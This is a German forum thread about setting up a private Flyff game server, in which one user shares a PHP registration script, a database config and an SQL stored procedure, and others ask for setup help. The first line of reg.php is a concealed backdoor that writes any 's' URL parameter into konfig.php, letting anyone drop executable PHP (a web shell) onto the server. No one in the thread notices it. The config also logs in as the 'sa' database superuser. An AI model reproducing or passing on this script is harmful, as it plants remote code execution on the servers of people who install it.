[FAQ] v15 Files

05/21/2010 10:38 MezzoX1#91
Versuchs mal damit.

reg.php

Quote:
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){

$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);

if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>

reg_conf.php

Quote:
<?php
$link = @mssql_connect("COMPUTERNAME\SQLEXPRESS", "sa", "passwort") or die ("Server is down!");
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
$b = '';
$mail = '';


?>

Zuletzt das ausführen.

Quote:
USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)

AS

SET NOCOUNT ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
VALUES (@account, @password, @password, 'T', 'A', 'F')

SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END

mfg
05/21/2010 11:20 Patrel#92
Hey hey, danke ^^ hat gefunzt :D
ABER da is so ein <? was da nich hingehört... also es wird auf der website angezeigt...würde es ja suchen aber damit gibt man wohl auch an ab wo php ist...und ich bin php nicht mächtig deswegen weiß ich nich wos hingehört und wo nich :o
Nun bleibt noch der M Fehler ^^

1. Wenn ich versuche die Map über deinen Clienten zu öffnen macht er garnichts. Weder mit M noch über das systemeigene flyff menü (Bei meinem client der mein eigenes Theme beinhaltet kann ich zwar die map öffnen jedoch crashed dann die neuz.exe (Benutze deinen clienten mit eigenem Theme ordner))

2. ODBC auf englisch stellen = "Sprache der Systemanmeldung festlegen" -> "English"? Gelöst :)
3. Zur Website -> Hab dein Regi script in eine standart homepage mit XAMPP reingetan und wollte mich registrieren es kommt danach -> Registrierung erfolgreich abgeschlossen -> wenns doch nur so wäre ^^ bin auf mein management server gegangen und mal unter der account_dbf nachgeschaut ...kein eintrag ...Gelöst :)
05/21/2010 13:36 Reeek#93
Hay, danke erstmal, hab das jetzt genauso wie beschrieben gemacht, aber bei mir steht immer "Server is down!" dran, die Angaben in der reg_conf.php sind alle Richtig! Woran könnte es noch leigen das ich keine Verbindung zu DB bekomme? :/
05/21/2010 13:56 Sedrika#94
Quote:
Originally Posted by MezzoX1 View Post
Versuchs mal damit.

reg.php




reg_conf.php




Zuletzt das ausführen.




mfg
Credits an die Person schreiben bitte.

Quote:
Originally Posted by Reeek View Post
Hay, danke erstmal, hab das jetzt genauso wie beschrieben gemacht, aber bei mir steht immer "Server is down!" dran, die Angaben in der reg_conf.php sind alle Richtig! Woran könnte es noch leigen das ich keine Verbindung zu DB bekomme? :/
nimm mal da den sa und dein pw raus. geht auch ohne die daten.
05/21/2010 14:05 Reeek#95
Quote:
Originally Posted by Sedrika View Post
nimm mal da den sa und dein pw raus. geht auch ohne die daten.
Erstmal Danke für die schnelle Antwort.
Hab das gemacht, aber immer noch "Server is down!" :/ Kann es an server2go liegen? Oder führe ich es in der DB iwie falsch aus?
05/21/2010 16:42 Patrel#96
wie siehts mit dem M probelm aus ? xD
liegt warscheins an der neuz.exe oder am theme ordner ? oder is das bei allen so ?:o
05/21/2010 20:28 .Jeff.#97
also erstmal danke sedrika für das release von den files und der db

aber ein problem hab ich noch, undzwar klappt das mit dem einfügen der backups nicht.
ich hab alle datein wie beschrieben in den backup ordner eingefügt und dann das management studio gestartet, aber da waren die db's nicht D:


hoffe das mir jemand helfen kann


EDIT: einen screen hab ich selbstverständlich auch ;)
[Only registered and activated users can see links. Click Here To Register...]



mfg heNNy
05/21/2010 21:24 Sedrika#98
Die Datenbanken musst du selber erstellen und danach die backups einbauen.
05/21/2010 21:30 .Jeff.#99
sry wenn das jetzt dämlich klingt, aber wie mach ich das?

weil ich kann dem TuT nut entnehmen das man die heruntergeladenen dbs in den backup ordner einfügen muss...

naja mit dbs kenn ich mich nunmal net so gut aus >_>



mfg heNNy
05/21/2010 22:25 antihackers#100
Wenn du vista hast würde ich dir raten suche einfach nach" backups" und warte dann komme die suchergebnisse wenn da ein backup ordner bie mssql dabei ist öffen den udn tu die dann rein .
05/21/2010 22:41 .Jeff.#101
mhh...
ich glaub du verstehst das falsch
ich hab die dbs ja in den backup ordner von mssql getan aber es wird dann in mssql nich erkannt, oder angezeigt ka

aber trotzdem danke für eure antworte :>


ps: hab win 7 *-*


mfg heNNy
05/22/2010 03:21 Patrel#102
Hatte selbiges problem, die lösung is simpel ^^
und zwar hat sedrika´s computer des automatisch erkannt wenn des bei dir nich der fall is -> Machs manuell ! geht genausogut also keine angst ^^ ich mach dir mal nen kleinen screen der die zeigt wies geht :P
Und danach kannst du wie von sedrika weiter machn ein häckhchen auf ein bac. machn dann auf optionen überschreiben ... und das dann noch für alle andren dateien auch... aber das steht ja schon im tutorial :D
05/22/2010 07:23 .Jeff.#103
danke =D

okay jetzt gehts, mal schaun wie gut ich den rest hinbekomme ;)



Edit: nächster schritt nächstes problem:
also ich hab echt keinen plan was ich bei den ODBC einstellungen alles nehmen soll...

wäre sehr nett wenn mir das jemand ausführlich (am besten mit screens) erklären könnte :awesome:

ich bin schenbar echt zu blöd für sowas xD



mfg heNNy
05/22/2010 10:22 antihackers#104
Hast du Teamviewer dann mach ich dir das
05/22/2010 10:59 .Jeff.#105
klar teamviewer hab ich
ich mach nur noch eben was in photoshop fertig =)

adde mich einfach mal in icq dann kann ich dir meine daten schicken (nummer: 350241934)

schonmal danke im vorraus



mfg heNNy